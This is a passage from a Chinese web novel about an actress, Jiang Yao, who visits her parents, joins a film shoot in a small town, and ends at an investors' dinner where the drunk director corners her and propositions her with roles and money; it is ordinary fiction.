接下来几天他们哪都没去。主要角色慢慢定下来后，剧组已经进入最后筹备阶段，江遥收到导演发来的人物小传和一半剧本后，不用经纪人叮嘱，她开始老老实实研究剧本，做进组前的准备工作。
饰演姐姐的女演员前不久刚拿了青苗奖最佳进步奖，父母辈的角色也将由圈内
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经验丰富的前辈担纲，虽然演的是女二号，江遥也难免有点紧张。
虽然试镜前大家私下就都在传，这个女二号是一个很有发挥空间的角色，但事实如何，其实都是未知的。
而拿到剧本后，江遥可以肯定，这是一个演好了将会特别出彩的角色，而她有点怕自己把握不住，辜负了楚云辛辛苦苦的一生之旅。
这段时间面对镜头的机会减少，江遥难免对自己也稍微放松了一些。
虽然只胖了几斤，肉眼都感觉不出来太大差别。但是镜头的残酷，江遥早有领教。
何况楚云是一个偏瘦小的姑娘，甚至有时看起来会有点阴郁和偏执，撑着单薄的身影，却仿佛随时准备与全世界为敌。
所以虽然有小鱼变着花样的投喂，江遥也在有意识控制体重。
窗外的阳光洒在窗台，她穿着一身简单宽松的居家T恤和短裤窝在沙发上，头发用抓夹固定在脑后，有一小撮调皮地滑下来，垂落在颊边。一手拿着挖酸奶的勺子，一手用彩笔在剧本上圈圈画画，嘴里念念有词，完全沉浸在自己的一方小天地。
小鱼觉得Susie姐私下叮嘱让她一旁监督的任务完全多此一举。在工作上，江遥是一个足够自律的女人，压根不需要太多外力来推动。
不管身处高峰还是底谷，对自己有着一如既往的高要求。
正式进组前，江遥抽空回去了一趟。
自从毕业后她其实很少回家，忙的时候过年都是跟剧组一起，搭伙吃顿团年饭就算完。即使不在剧组，也有忙不完的晚会、杂志拍摄、商务活动等排着队等她来还债，和父母的联系，都被框在了一方小小的屏幕里。
这次进组，再出来满打满算也是两个月后。刚好母亲乔红英生日快到了，她盘了盘时间也还来得及，干脆准备提前回去待几天。
打车到家门口，隔着车窗远远发现父母早早在楼下等着。乔红英个子不算高，穿着一袭碎花裙子，踮着脚伸长脖子使劲往前张望，试图早点看到女儿的身影。
江遥眼眶莫名一热，赶紧收敛心神推门下车。乔红英一把扑上来抱着女儿，父亲接过行李，在一旁上上下下将江遥打量着，好一会儿后，拍了拍乔红英的背：“好了好了，先上楼再说。”
挽着母亲的手臂，江遥侧头看母亲已经收起了刚见时的激动，问了问她的近况，又开始竹筒倒豆子一样说起东家长西家短。
虽然很多人事江遥早已对不上号，只能偶尔插个话，有了她的配合，乔红英能说半小时不带停。
看着桌面上满满一桌自己以前爱吃的菜，江遥忍不住嗔怪：“不是都跟你们说我马上要进组，好不容易瘦了点，你们怎么又准备这么多。”
乔红英热情张罗道：“也不知道你现在口味变没变，来，每样少吃点，喜欢的都尝尝。”
在路上奔波了大半天，吃完晚饭江遥早早回了房间。
正准备关灯睡觉，乔红英敲了敲房门，端着一盘水果，看起来一副欲言又止的表情。
江遥不知道有没有人跟母亲说过，如果做了亏心事千万别到处晃，不然脸上的表情完全藏不住。
这么多年都是这个样子，还蛮怀念的。江遥失笑。
同时忍不住心里一咯噔，预感到了她大概要说什么。
有些事情，就算当下能够逃避掉，最终总是得面对的。
5. 进组
江遥深吸一口气，把母亲让进了房门，自己在床上坐了下来。
其实她从小就是被放养的孩子，在别人还在父母忙前忙后帮着张罗的时候，她就学会了自己拿主意。
而更让人庆幸的是，她遇到了一对开明的父母，非常乐意尊重女儿的决定。
当初自己看剧一上头，脑袋一拍放下豪言，决定报考影视学院，父母也只是冷静地跟她分析了专业前景以及将会遭遇的挑战，并带她去影视城亲自感受了下演员们的工作环境。
如果说父亲是她的精神导师，教会她不怯前路并且勇于承担选择的后果；那母亲就相当于她最特殊的好朋友，可以插科打诨，也可以袒露内心。
尽管以前母亲忙于工作，大部分时候是江遥揣着满腔的少女心事舔着脸想找母亲交流，而近些年，这种情形转换了过来。她的工作越来越忙，而母亲有什么见闻都仍然喜欢和女儿分享。
有时候在繁忙的工作后，拿起手机看到母亲发来满屏的试装图片让女儿帮忙挑选，或者新出炉的八卦和美食分享，都能很大程度抵消掉那种莫名的虚无感。
乔红英将果盘随手搁在了书桌上，自己先捻起一颗葡萄尝了尝。
江遥跟着伸手，味道还不错。抬头时看到书桌的正上方，还贴着她十几岁时候和朋友去影视城玩时拍的照片。
虽然平常很少回家，但母亲一直在给房间打扫通风，完全没有一丝尘封的味道。她少女时代的物品，也全部安置在原本的位置上一动不动。
乔红英顺着她的视线扫过去，指着墙上的照片一乐：“你看看，当初让你防晒非不听，晒得黑咕隆咚，不知道还以为哪里挖煤的。”
乐过后又有点感慨：“谁知道你还真成了大明星。”
江遥想起来拍这张照片的时候，应该是中考后的暑假，当时她的好朋友沉迷一部古装剧无法自拔，早起贪黑看得觉也不想睡，被父母勒令叫停赶出家门反省。
知道江遥的父母不太管她，于是偷偷跑来她家，两人租了个光碟连续研读了好几天，最后双双上头。
剧里那些真真假假的功夫法术以及炽烈的爱恨情仇，让年少的江遥深深被吸引。
某天父母下班后，江遥两眼放光放下豪言：我以后要考影视学院！
父母没有嘲笑年少的女儿异想天开，也没有阻止她的一时兴起，而是把她带去了影视城，看忙碌的剧组，奔波的演员以及四处讨生活的群演……那个炽热的夏天，是她梦想萌发的起点。
江遥收回思绪，刚刚还笑得前仰后合的母亲，坐在她床边，脸上又重新笼罩上一层心事重重的壳。
她偎依过去，将脑袋靠在母亲的肩膀上，就像小时候，等着母亲讲睡前故事一样，小声撒娇：“妈，你到底准备跟我说什么？再不说真困了，过时不候哦。”
乔红英一咬牙，这次不问以后还得老想着，于是干脆将心里翻滚了几轮最后也没有打好腹稿的话一篓子捅出：“遥遥，不是妈妈故意扫兴，确实是一直想找时间跟你谈谈的。但你回家也少，工作又忙……感情的事儿，你到底怎么想的？有什么计划吗？”
“当初你跟小苏感情那么好，分手的时候，还找我大哭了一场。这么几年过去，也没见你有什么新进展，妈妈是真怕你还陷在里头。”
“你知道的，小苏逢年过节还会给我们打电话，我看你也没有说什么，前几年就当个小辈往来着。但我寻思你也不是个爱回头的人，现在完全不敢接茬了。”
“你跟妈妈说说，自己到底怎么想的？”
年少时的感情，总是恨不得让全世界来见证。江遥当初和苏远安好的时候，是一点没有避着父母的，毕竟双方都已经是成年人，而她在母亲面前，也向来藏不住什么小秘密。
所以大一暑假的时候，假期漫长，热恋的小情侣分开后天天煲电话粥。苏远安当初借口来C城旅游，找江遥当向导时，父母是热情招待过他的。
清秀斯文、皮肤白净，又非常懂礼貌。最重要的是女儿喜欢。乔红英当时和苏远安一拍即合，互换了联系方式，之后也时不时联络着，这些江遥都是知道的。
所以在分手后，苏远安作为一个小辈逢年过节给母亲问好，江遥自问她没有什么阻止的立场。
毕竟当初，自己母亲是真的喜欢他，而他母亲，更是一个心善慈祥的女人。
江遥想了想，似真似假说道：“每天那么忙，那么久以前的事儿我早忘了，没想到你还给我记着呢。我不是不想给你找女婿，这不是没时间又没合适人选嘛。”
乔红英看她说着说着又准备开始插科打诨，目露不满。
江遥感受到母亲杀气腾腾的目光，立马换了副笑脸，捶了捶母亲的肩膀，讨好道：“您老如果有什么合适的人选，也可以多多留心，给我介绍介绍。”
乔红英知道她既然这么说，确实是不可能和小苏有什么了。至于以后的事儿，谁又能说得准呢，再问也是白操心。叹息一声，顺手给女儿带上了房门。
老江看她脸色就知道结果，放下报纸，乐呵呵问道：“让你早睡，没说错吧？”
乔红英看他们父女俩这如出一辙油盐不进的样，气不打一处来，对着他大腿就是一下，疼得老苏拉起裤腿直叫唤。
江遥在家待了五天，父母每天变着花样给她做好吃的，有时候忍不住嘴馋多吃了几口，就会出门遛遛弯来消耗热量。
这天饭后一家三口在小区散步，江遥揉着微微凸起的小肚子，突发奇想：“如果我这要是被拍了，说不定明天你们就能喜得外孙了。”
“胡说什么呢，你戴个大口罩脸都挡没了，让你换个衣服还非要穿个睡衣出门。乔红英呸了一口，说着又刻意压低了声音，“谁家女演员这么邋遢，要不是亲生的我都不敢认你。”
江遥低头看看自己肥大
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的睡衣睡裤，彻底被乔女士说服。挽着母亲的手臂，东看看西看看。
几年没回来，原本的餐馆变成了酒楼，小时候在家门口开早餐店的夫妻，听说也已经被儿女接回家养老了。
江遥感受着家乡的变化，其实自己，又何尝没变呢。
时光匆匆，不会为谁而停。父母慢慢苍老，而她，需要更快长大。
故事发生在一个偏僻的小镇，剧组将在平城取景。参演人员本周已经陆续前往。
从市区打车到剧组订的酒店，大概一小时左右。江遥和小鱼拎着几大箱行李下车的时候，刚好是傍晚。
天边晚霞似火，给周边的一切蒙上了一层温柔滤镜。远远望去，仿佛还有金黄的稻谷低垂着脖颈，葱茏的草木在迎风招展。
这里，就是楚云和姐姐楚彤扎根生长，又迫切想要逃离的地方。
但此时，迫切想逃离的是小鱼。
工作人员早已经分配好了房间。出演父母的两位前辈被安排在条件最好的两间房，楚彤楚云两位戏份最重的角色则被安置在相对安静的位置，毕竟主演的状态一定程度也影响拍摄进度。
房间分配表发出来的时候群里大家都没有异议，但当小鱼推着行李上楼，正想喘口气，才发现本该属于江遥的房间里面已经住了人，而且还是老熟人。
方琦在女二号试镜中落选，最后定下的是一个戏份不算多的反派角色——姐姐楚彤的朋友，非常热衷挑拨两姐妹的感情。
毕竟是刘导的电影，先混个脸熟也行，反正也用不了太多时间，还能卖个人情。方琦在经纪人的劝说下，权衡过后最终还是接了。
小鱼看他们第一天就明目张胆搞事情，心里的火苗蹭蹭往上蹿，正想据理力争，方琦助理看到江遥，仿佛见到了许久不见的亲人，一个箭步冲上前，面带恳切：“遥遥姐不好意思，能不能麻烦您帮帮忙，方琦姐最近睡眠一直不太好。”
“在这个组我们只有跟您比较熟，也不好意思麻烦工作人员为我们破例。”她让开一步，状似为难地往后一看：“您看，我们刚刚收拾好。看能不能调换一下呢？”
江遥懒得跟他们飙演技，反正自己对入住环境也没太高要求，也确实不想为难别人来当判官，拎着行李就去了方琦原本的房间。小鱼只好默默跟上。
将东西收拾了个差不多，小鱼还在愤愤不平：“怎么年纪轻轻眼睛就瞎了，睁眼说瞎话一套套的。”
“怎么年纪轻轻眼睛就瞎了……”江遥故意鼓着嘴学小鱼说话，捏着怪里怪气的腔调。
一会儿又好话不要钱似的倒，嗓音嗲得让人发腻：“好啦，亲爱的小鱼，不要浪费时间为不值得的人生气啦。”
小鱼看江遥在一旁耍宝，无力地揉了揉额头，低头认命。
她是真不懂，明明最开始她跟的是一个漂亮精致又有距离感的女明星，怎么熟了后却是这么个德性。
6. 偶遇
小鱼提着早餐来敲门的时候，江遥刚刚掐掉闹钟，洗了把脸强迫自己尽快清醒。
拉开房门，她脸上的水珠没来得及擦，有几滴调皮的顺着脸颊往下淌，挂在腮边摇摇欲坠了好一会儿，最后还是坚持不住，跌进了睡裙的领口。
小鱼挤进来，昨天还精神亢奋的女孩这会儿耷拉着眼，有气无力：“姐，昨晚睡得还好吗？”
“你说呢？”江遥声音飘忽，抬手掩住了一个呵欠，抽了张洗脸巾擦了擦脸。
“刚在楼下打包的早餐，趁热吃点儿吧。”
小地方条件有限，酒店隔音效果着实一般。江遥早早躺下，在床上辗转反侧了许久，直到下半夜，还能听到脚步声、说话声隔着门板传进来，在耳边不断回响。最后不知道什么时候实在抵不住困意，迷迷糊糊眯了几个小时。隐隐约约做了一晚混乱的梦，醒来什么也没记住。
此时四只熊猫眼面面相觑，小鱼在心里感慨，不愧是天生丽质的女明星，虽然眼底有着淡淡的青黑色，但也只是让原本娇艳的脸庞平添几分柔弱，丝毫不减丽色。
为了让演员尽快熟悉起来，导演决定直接从冲突戏份开始拍，第一个镜头就是楚彤和楚云在学校操场对峙的场景。
楚彤听朋友说漏嘴，才知道自己刚上高中的妹妹，竟然在和班里一个叫阿木的小男生搞暧昧。两人隔三差五就会一起在操场散步，看起来特别要好。
取景地直接选在附近的一所中学，江遥穿着宽松的校服，正和饰演阿木的李然一起并肩走位。
李然估计是第一次拍戏，刚开始时两眼一直盯着脚尖，有点显而易见的紧张。看江遥望过来，清秀的脸庞瞬间涨红：“对不起遥遥姐。”
江遥摇摇头，轻声安抚：“都是这么过来的，习惯就好。”
“action！”导演宣布正式开拍，众人都回归自己的位置。
这天晚自习下课后，楚彤找到正在操场溜达的楚云，冷着脸说有事要跟她谈。楚云犹豫着看了看旁边进退两难的同学，想了想，还是让他先在旁边等自己一会儿。
楚彤看不惯他们黏黏糊糊的劲儿，伸出指头点了点楚云，转身迈步就走。楚云跟在姐姐身后，找了个相对僻静的地方。
楚彤质问妹妹，为什么要在这么关键的时候不知轻重地早恋，而楚云早受不了姐姐的高高在上，问都不问就随意给自己扣上了早恋的帽子，压根对自己的妹妹没有一点儿信任。
学校条件不太好，操场的路灯东一个西一个，本就不甚明亮，有的坏了还没来得及修。此时，楚云半边身子完全隐入了黑暗里，半边昏黄的灯光照射着她的脸庞，暗与亮在她身上交叠，却有种诡异的和谐。
李然站在一旁，看刚才还温声和他说话的江遥，在对手演员疾言厉色地落下几句话后，突然昂起了头，正声嘶力竭地发泄着什么。情绪转换之快，让他一时分不清，是否这才是江遥本身。
剧组在学校取景不是什么秘密，收工时，四周已经被学生里三层外三层围了起来。在这个并不繁华的小镇上，很少见到明星本尊。于他们而言，屏幕前光鲜亮丽的艺人，宛如遥不可及的幻梦。
几天后是个黄道吉日，剧组举行了隆重的开机仪式，写满祝福语的花篮陈列两旁，大家在导演的带领下上香拜神，电影《双生花开》的卡司阵容也在开机仪式当天正式对外官宣。
江遥在沉寂一阵后，带着刘聪新电影女二的角色杀回荧屏，而且听小道消息说戏份还很吃重。同组演员要不是老戏骨，要不是实力派。据说连主题曲的演唱者，都是久不出山的大神。
定妆照中，江遥单薄的身子被罩在宽大的校服里，看起来像个营养不良的孩童，过长的头发微微遮住了眼睛，她回头看向身后，露出似笑非笑的神情。
营销号将她过往作品剪了个合辑，表示这个角色和大家平常熟知的江遥完全是两种类型。
有人辣评：「同期小花不要担心，再大的资源捏手里，这位姐也会自己搞砸的。」
有人附和：「这要是红毯我绝对看好她，电影还是算了吧。」
「她到底是怎么火的，刷脸么？出道这么多年都没有代表作。」
「这话我就不爱听了，你踩她就踩她，过往成绩也不能抹杀好吧。」
「《云巅之上》票房给你的勇气？那么大IP砸下去都没听到个响，还把同组人名声都带臭了。」
话语至此，再也没人吭声。
开机仪式后，剧组下午给大家放了半天假。小鱼本来美滋滋在微博广场收图，刷到这个帖子的时候，真的很想摇摇这些人的脑袋，把里面的水给晃出来。
明明姐才是最努力的那个，最后什么锅都是她背了。真替她不值得。
时间还早，窝在酒店也没事干，两人决定去附近转转。
下楼的时候，很巧和李然一部电梯。经过几天的合作，李然在江遥面前放松了不少，等戏的空档偶尔也能搭上几句话。看到他俩站在电梯门口，连忙伸手帮忙按着开门键，微笑着点头问好。
电梯在一楼停下，李然不等他们反应，匆匆点头离开。
“看起来有什么重要的事，平常也没见他这么着急忙慌的。”小鱼看他越走越快，最后小跑起来，摸着下巴给出结论。
虽然附近的居民知道有剧组来拍戏，但目前留在镇上的，以老人小孩为主，他们对娱乐圈的新闻并没有年轻人那么关注。江遥一身运动衫，压低了帽檐，走在街道上，反倒比全副武装来得低调不少。
两人没有什么特定目标，在青石小巷里四处闲晃。不同于外面很多小镇如出一辙商业化明显的纪念品，这里有很多原始的手作艺人。
江遥正蹲在一个老婆婆的工作台前，看她戴着眼镜，认真雕琢着手上的木雕。柜台里摆满了憨态可掬、形态不一的摆件。
门帘碰撞，一个戴着墨镜口罩的女人走了进来，此时正站在柜台旁，
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高挑的身形，一看就和这偏僻的小镇格格不入。
“不知道是哪个大明星，看来和你品味差不多。”小鱼悄悄和她咬耳朵。
突然，女人不经意往角落里投来一眼，虽然戴着墨镜不知道她到底什么表情，小鱼还是自觉收起好奇心，和江遥一起走出了门。十有八九是同行，被人当成变态就不好了。
女人在柜台前端详了一会儿，手指一点，随手买下几个摆件，跟着从店里走了出来。而她身后，不远不近缀着的人，刚刚还和他们打过照面。
小鱼瞪大眼睛，脑海里八卦雷达疯狂响动，却只是呆呆地看着那两人一前一后走向一旁停着的一辆黑色轿车，司机走到一侧为女人打开车门，三人扬长而去。
在女人目不斜视从他们身旁走过的时候，江遥突然想起了她是谁。
“那不是孟棠吗？和李然？什么情况？”小鱼也反应过来，拉着江遥的胳膊直晃。
江遥爱莫能助，朝她摊摊手，脑海里却转过好几个念头：这司机不是上次送她回家那人吗？和孟棠什么关系？
“她不是和程绪一对吗？”小鱼大脑CPU过载，一时运转不过来，干脆望着江遥，虚心求解。
江遥绞尽脑汁，低声问道：“也许……各玩各的？”
看小鱼表情，就知道并不认同她的答案。
第二天要拍的，是江遥和方琦的对手戏。
和小鱼两人在外面吃过饭回酒店，江遥洗漱过后，靠在床头研究起明天要拍的剧情。台词不多，主要打的还是一个心理战。
江遥提前半小时到片场，方琦也已经在一旁候场。虽然同在一个经纪公司好几年，其实此前两人并没有正经演过对手戏。
方琦饰演的谢可欣，被楚彤回来气冲冲一顿指责，得知楚云和阿木只是正常同学关系。她内心升腾起隐秘的欢喜，第二天，偷偷将一封情书塞进了阿木的课桌里。不巧，刚好被有事折返的楚云抓了个正着。
楚云一把捏住谢可欣往阿木抽屉里塞东西的手臂，玩味道：“好啊，我就说无缘无故为什么给我泼脏水，原来醉翁之意不在酒啊。”
谢可欣起初还戴着柔弱的面具装无辜，看楚云不依不饶，干脆也懒得装了，甩开她的胳膊，冷笑道：“有本事去跟你姐告状啊，看她是信我还是信你。”
楚云愣着没有吭声，方琦一把推开她，留下一句怜悯味十足的：“真可悲。”
片场一片寂静，江遥还恍惚地站在那儿，任麻痹的感觉一层层爬上她的躯体。
如果说反派是方琦的舒适区，从疾言厉色到心如死灰，江遥同样驾驭得游刃有余。
刘聪透过监视器，看江遥在反差极大的两种情绪间切换自如。如果说她含娇带叱时是带刺的玫瑰，让人忍不住想随手攀折、据为己有。而她心如死灰的表情，却有种极致凌虐的美感，仿佛最美丽的花，在废墟之上颤颤巍巍地绽放，美得格外动人。
他的目光一深。
7. 饭局
“明天排的是大夜戏，早上你可以多睡会儿。”小鱼看着通告单，长长吐出了一口气。
听说投资商会来现场考察，剧组最近在疯狂赶进度。作为主演之一，江遥每天忙得脚不沾地，小鱼在一旁看着都替她累得慌，江遥却觉得这样的生活很充实。
搭档们非常具有专业精神，和他们对戏，每一步都可能超出自己的预设，只能打起精神来应对。在片场上，刘聪导演对演员也有自己的要求，没达到标准就只能一条条推翻重来，她每天都在尽己所能地学习和吸收。
江遥没觉得自己多累，身体却自动替她喊停，开始自我修复。这天睡醒已经是下午。
酒店隔音环境一般，窗帘却足够厚重，此时房间里还是一片黑蒙蒙。
小鱼两小时前发来消息：「姐，醒了没？」
江遥手指飞快：「刚醒。」
起身下床，洗漱护肤。一套流程还没走完，小鱼拎着大包小包来敲门。
“已经过了放饭时间了，给你点了外卖。”
小鱼拆开袋子，把饭盒端上桌，一道小炒黄牛肉，鲜红的辣椒点缀，让人食指大动。一道山药排骨汤，色泽分明，还冒着袅袅热气。
“这家味道还可以，很多老师都在点，应该符合你的口味。”
江遥夹了块牛肉尝了尝，香辣不柴，口感很嫩又有嚼劲，汤的味道也很鲜香，一点不输大餐馆的味道。
等到傍晚天色突然暗了下来，路旁的树枝随风疯狂摆动，看样子很快会有一场大雨降下。
小鱼拿出手机看了看，剧组还没有通知，看来拍摄计划没有被突变的天气影响，那么趁雨没落下之前他们得赶紧出门才行，免得雨越下越大滞留在酒店耽误拍摄。
两人拿上雨伞往剧组赶，今天要拍的是家庭戏份，附近一栋老式楼梯房被选中成了姐妹俩临时的家。
下车的时候天空终于承受不住，“哗啦啦”一股脑将大雨往下泼。江遥和小鱼对视一眼，赶忙撑着伞往小区跑。
几步跨上单元门前的台阶，小鱼习惯性跺了跺脚试图甩下沾身上的雨水，看到旁边江遥正在慢条斯理地整理着雨伞。江遥手腕一转，小鱼怀疑是不是天气昏暗自己老眼昏花，连忙凑近仔细看了看：“等等等等！你什么时候买的？
江遥收伞的动作一停，不懂她在咋呼什么：“不是你给我收行李箱的吗？”
“你丢沙发上的，我顺手一放。”小鱼一拍脑门，委屈地望着江遥装起了可怜：“不是说好超过50的活动都不约了吗，花十几个W买伞的时候怎么不通知我一声。”
“怎么可能，几十块不能再多了。”江遥赶忙摆手，不能接受自己的信誉被侮辱，斩钉截铁回复。
“Fnei的伞限量供应的好不好，以前专供贵族的，几十块想屁吃。”小鱼对自己的记忆力信心十足，指了指伞上不太明显的“F”字型暗纹，紧紧盯着江遥，仿佛在说“看你还想怎么狡辩。”
“好叭……”江遥选择屈从，但仍然弱弱声明：“可是真的不是我的！”
因为雨伞总是买一把落一把，江遥自己平常都不爱买伞。她使劲回忆，应该是上次试镜回来坐错车那次，司机小哥给她挡雨的那把，找不到主人，她顺手搁在了沙发上，时间长了就忘了。
上次看到孟棠上了那位小哥的车，也许下次再看到可以问问她小哥的联络方式，或者请她帮个忙。
本以为普普通通一把伞，找不到主人也就暂时歇了心思，这十几万，她平白无故拿着真有点烫手。也不知道那小哥心多大，如此贵重的伞就这么当顺水人情，像菜市场买菜附赠一颗大白菜似的。
楚云他们家住八楼，因为高层价格相对便宜，所以老两口毫不犹豫定下了这间房子。过道旁的墙皮已经剥落，手扶栏杆上的油漆秃了很多块，不仔细看像上生的铁锈。客厅一张沙发、一张桌子，客厅正中摆着一个旧电视。家具简单到简陋，只有沙发上的手工沙发套，桌子边垂下一角的碎花桌布，以及电视机旁玻璃瓶里盛放的花，才能窥见女主人有一双巧手。
这年暑假，姐姐楚彤去了外婆家，楚云一个人和父母在家，离开无处不在的对比，她感觉家里的空气都松快不少。这是她过得最开心的一个暑假。
这天实在太累，楚云早早睡下，晚上起夜路过客厅，看到灯还亮着，以为是父母忘记关。她悄悄走过去，经过父母房间，没关严实的门缝里，传来父亲沉重的叹息声：“都说三岁看老，彤彤小时候看到好吃的都舍不得吃，说要留着过节走亲戚。云云就比较顾着自己，看到好吃的伸手就拿……”
又开始了又开始了，这无处不在的比较。楚云内心疯狂尖叫，悄无声息掩上了自己的房门。
原来姐姐就算不在家，也无时无刻不存在父母心中。而她，在姐姐的对照下，原来从小就被父母盼了死刑，再怎么努力，也刮不掉这仿佛烙在她灵魂上的自私烙印。
内心悲愤，连哭也不敢发出声音。江遥埋在被子里哭得直抽抽，导演一声“卡”，小鱼赶忙上前给她递纸巾。
江遥翻身坐起，睫毛湿漉漉的，鼻头红红，虽然还是楚云的装扮，但举手投足之间，仿佛自带风情。美人垂泪，好不可怜。小鱼冷不防被近距离攻击，捂着跳个不停的小心脏，暗啐了自己一口没出息。
忙碌的时候没有太大的时间感。这天收工后，江遥还有个饭局要赴。
投资商这两天正好有空，导演在市区订了一桌给他们接风，指定江遥和女主演今晚一起出席。
类似应酬的场合江遥过往也经历过不少，没有什么必须拒绝的理由。这种私人宴会，穿得太隆重容易用力过猛，她简单收拾了下自己，随手挽了个丸子头，以舒适大方为主。
市区的条件比他们拍戏的小镇好上不少，今晚的饭局定在市里最好的一家酒楼。出门时正好碰到副导演，江遥盛情难却，拉着小鱼一起上了车。
他们到的时候，女主角曾芜已经先到了，同样一身素净的打扮。看到江遥进门，曾芜热情招呼她过去一起坐。两姐妹在剧中各有心结，戏外江遥倒是和曾芜处得还不错。
趁饭局的重要人物还没来，几人天南海北聊了会儿，气氛越发轻
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松。
包间门推开，导演和几名投资人走了进来。江遥跟着起身问好。
诶，竟然是投资人吗？看到那位送伞给他的司机小哥突然大变装，西装笔挺，坐在投资人的座位上，和导演愉快交谈，江遥内心突然有点凌乱。
不过好像人家从来没说过自己的身份，是自己当初先入为主以为是Susie派来接她的司机。这会儿位置一换，在主位上坐着，也人模狗样很有一股子精英气质。
察觉到江遥打量的眼神，小哥冲她微微颔首。江遥若无其事转开了视线。
本就是为投资人组的局，自然得让他们尽兴。刘聪丝毫没有藏着掖着，端起酒杯就是一口闷。酒过三巡，越喝越上头。
抬头看到角落里没怎么出声的江遥，仿佛喝下的酒都蒸腾成了热意，急着想往外宣泄。
从第一次见江遥起，他就知道她是不世出的绝色，此时灯下看美人，越看越觉得动人。
刘聪举起酒杯，朝江遥招呼：“江老师，来，合作愉快。”
除了最开始集体给投资人敬了杯酒，之后江遥一直缩在角落里当木头。此时刘导主动举杯，她也不好继续矜持，大方端起酒杯喝了一口，含笑感谢：“谢谢剧组的信任，我会继续努力的。”
刘聪仰起头一口把酒喝下，朝江遥亮出杯底：“就看江老师给不给刘某人面子咯。”
第一部作品上映就是爆红，江遥很是风光了一阵。虽然是新人，但走到哪都有人鞠躬问好，她差点迷失在一声声恭敬的“江老师”的称呼里。酒局上经纪人也以年纪小为由，替她委婉推掉了很多不必要的应酬。后来嘛，大概是破罐子破摔。
老实说，她已经很久没在饭桌上听人说她“不给面子”了。
对面刘聪还在等她回应。
她撑起一副笑脸，面露难色，“见谅，确实是酒量不济，免得一会儿喝多了出丑。”
刘聪大概是没想到，在剧组里看着很好说话的江遥，突然硬气了起来。他看着她没坑声，江遥微微笑着，脸上还挂着适当的歉意，温温柔柔。
桌面上的气氛瞬间有点僵持。
曾芜握上酒杯，想要起身解围，江遥察觉到她的意图，不动声色地伸手将她按住。
在众人以为她会这么硬刚到底的时候，江遥端起酒杯猛灌一口，喝完用袖口将嘴一抹，朝刘聪亮了亮杯底：“导演的面子，自然要给的。”
刘聪满意坐下，随口夸赞：“江老师果然识趣。”
一个胖胖的投资人干笑了两声，接上刘聪的话头：“江老师来，闻名不如见面，走一个。”
江遥来者不拒，又是一口饮尽。
放下酒杯，桌上气氛重新活络了起来。送伞小哥始终坐在主位上没怎么吭声，当然江遥也顾不上再管他是什么表情。
她靠在椅背上，脸上慢慢变得通红，目光毫无焦距，看样子醉得不轻。
察觉到自己状态不对，江遥摇摇晃晃站起身：“不好意思，我去下洗手间。”
关门瞬间，好像听到刘聪匆匆跟人说了句“失陪一下”。
8. 诱惑
关上包间门，江遥扶着门框稳了稳神。在服务生指导下，高一脚低一脚朝卫生间走了过去。
“女士，请问需要帮忙吗？”服务生不放心，多次向她确认。江遥虽然醉意朦胧，仍强撑着摆手拒绝，坚持说自己能行。
刘聪看她摇晃着走远，勾唇一笑。美人嘛，有几分脾气是正常的。最终还不是得识时务。而他，正好非常能包容。
洗手间门一关，江遥双手撑在洗手台上，低垂着头，仿佛已经无力撑起全身的重量。
随着她缓缓抬头，镜子中的女人渐渐露出颠倒众生的面容——只见她脸色坨红，好似春林初绽的桃花，将洁白的画布渐渐晕染出一片春意，但她的眼神，却仍清亮有神，仿佛山涧中流淌的溪水叮咚。不知想到什么，眸子里渐渐浮起一丝冷意，正如雪山巅上尘封的冰雪，常年被云雾遮掩，不受世俗所侵。
江遥端详着镜中的自己，抬手松开头发，任它自然垂下，稍稍遮挡住还在发热的脸颊。
从前爷爷喝酒，看她眼馋，总是会背着爸妈偷偷用筷子蘸着给她抿一口，酒量就这么一点一点练出来了。后来上了应酬场合，虎狼环绕，她一向声称自己滴酒不沾。正好喝酒容易上脸，几口下去，脸庞红得仿佛要滴血，让她总不至于露馅。
稍微补了下妆遮掩醉态，江遥拎着包包走了出去。还没切换好表情，冷不防和对面出来的男人对上眼神。
一身手工定制西装，勾勒出修长有力的轮廓。和影视剧中丰富的表情不同，几次照面，他都一副冰冰冷冷的表情，看起来很是不好接近，不知道身边人怎么受得了一座移动冰山随时制冷。
不愧是荣誉等身，江遥猜测，或许他的所有情绪都注入给作品，堆砌成不同角色的灵魂。
要打招呼吗？好歹是圈内前辈。
洗手间门口找人攀谈未免有点太过尴尬。怎么说，“您也亲自来上洗手间？”
人家也不一定认识你，别自讨没趣了吧，不知道以为故意搭讪呢。
江遥一瞬间转过许多念头，突然灵光一现，想起来自己还是个醉鬼。
她微微垂下眼眸，再掀起时，已经是一片朦胧醉意，衬着微微泛红的脸庞，粉面桃腮，好一个醉美人。
醉鬼自然不认人，她毫无心理负担，拎着包包，深一脚浅一脚地往包间摸过去。
程绪看前面入戏正深的女人，对视的瞬间还微微疑惑，仿佛是在想他怎么会出现在这儿。如果他没有看错，中间似乎还闪过一丝微微……嫌弃？转眼间就连步子都走不稳，他自然不好出声打破。
为免让她觉得表演不够尽兴，他慢了几步走出去，不急不缓跟在后头。
经过转角，江遥被人大力一拉，闪身进了过道旁边一间房。房间门无声关上，掩住了她差点脱口而出的惊呼。
房间里没有开灯，黑暗让人的听觉无限放大，密闭的空间里，江遥甚至能听到对面的人微微的喘息，闻到随着呼吸喷薄而出的浑浊酒气。想必是喝了不少。
她定定神，联想到推门而出时隐约听到的对话，突然猜到了来人的身份。
能在这个场所对剧组女演员这么明目张胆，对方估计已经被醉意主导，没有太多理性可言，也或者是，压根不在乎。她干脆安静着没有出声，想看看对方葫芦里到底想卖什么药。
是觉得被损了面子想报复，还是其他？
何况，她现在也醉了不是吗？
果然对面率先按捺不住开口，安抚她：“不要出声，是我。”
距离实在太近了。张嘴的瞬间，熏得江遥直想吐。
在剧组共处了一个多月，江遥自然能听出他的声音。但刘聪现在的脑子也不太好使唤，忘了醉鬼不能按常理推测，只听江遥弱弱出声：“……谁？”
见她仿佛连人都认不清，刘聪心中暗暗一喜。摸索着大胆抚上江遥的手背，轻轻捏了捏，细瘦的手指柔若无骨，触手细嫩丝滑，不由心中感叹，这才当得起一句“肤如凝脂”，远不是以前那些庸脂俗粉能比的。
想到此处，刘聪越发心痒，呵呵笑着直奔主题，压低声音哄道：“我是谁不重要，陪我一晚，给你三部大女主的戏好不好？”
江遥装着站不稳，将手抽了出来，撑在墙壁上，防止身子滑落。
刘聪看她不为所动，估计就她现在的状态，未必明白几部大戏的价值，只好继续加码：“再加五百万支票，以及A市中心一套房。”
只要能一亲芳泽，小小出血一下也值了。等她知道了他的好，自然会求着他上。
当然，女明星嘛，故作清高也是有的。私下再怎么浪，面对粉丝，还是纯情人设吃香。他很是善解人意：“咱们偷偷的，没人知道。”
